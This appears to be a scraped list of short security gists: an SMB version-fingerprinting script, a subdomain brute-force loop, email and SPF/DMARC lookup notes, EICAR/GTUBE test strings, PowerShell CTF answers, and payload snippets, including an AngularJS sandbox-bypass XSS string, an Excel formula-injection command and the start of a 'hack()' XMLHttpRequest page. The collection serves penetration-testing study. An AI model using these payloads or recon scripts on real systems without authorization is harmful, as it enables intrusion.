This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi | |
if [ ! -z $2 ]; then rport=$2; else rport=139; fi | |
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & | |
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null | |
sleep 0.5 && echo "" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs | |
List of Sandbox bypasses | |
1.0.1 - 1.1.5 | |
Mario Heiderich (Cure53) | |
{{constructor.constructor('alert(1)')()}} | |
1.2.0 - 1.2.1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
dot="." | |
while read subdomain; do | |
host $subdomain$dot$1 | grep "has address" | |
done < $2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
MUA – Mail User Agent e.g. Outlook, Mozilla Thunderbird; Downloads emails from MDA via POP3/IMAP; Sends emails via tcp:587; | |
MTA – Mail Transfer Agent e.g. Kaspersky Secure Mail Gateway - SMTP server - listens tcp:25 and comunnicates with another MTA; placed in DMZ; | |
MDA – Mail Delivery Agent e.g. MS Exchange, IceWarp - POP3/IMAP server (local delivery server) - communicates with MTA via tcp:25; stores/forwards emails; | |
Email NetFlow | |
################ | |
MUA -> MDA(tcp:587) -> MTA(tcp:25) -> INTERNET -> MTA(tcp:25) -> MTA(tcp:25) -> MUA(tcp:110/143) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
################################################ Automatic Checks | |
$ https://mxtoolbox.com/SuperTool.aspx | |
################################################ SPF Dig Lookup | |
$ dig domain.com txt | |
################################################ DMARC Dig Lookup | |
$ dig _dmarc.example.org txt | |
################################################ DKIM Dig Lookup - selector must be known - found in email header - DKIM-Signature |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
EICAR Test String | |
(anti-virus) X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* | |
When an anti-virus program scans this file, it reports that it finds the EICAR-STANDARD-AV-TEST-FILE virus. | |
GTUBE Test String | |
(spam) XJS*C4JDBQADN1.NSBN3*2IDNEN*GTUBE-STANDARD-ANTI-UBE-TEST-EMAIL*C.34X | |
For further information, see: http://spamassassin.apache.org/gtube/. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
century.underthewire.tech:6009 | |
1. Version of Powershell Build = 10.0.14409.1012 | |
$PSVersionTable | |
2. Download a file = invoke-webrequest80 | |
Invoke-WebRequest | |
3. Number of files on the desktop. | |
Get-ChildItem ..\desktop\ | Measure-Object |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<script> | |
function hack() | |
{ | |
var xmlhttp; | |
if (window.XMLHttpRequest) | |
{ | |
xmlhttp=new XMLHttpRequest(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Excel Formula Injection | |
@SUM(1+1)*cmd|' /C calc'!A0 |
NewerOlder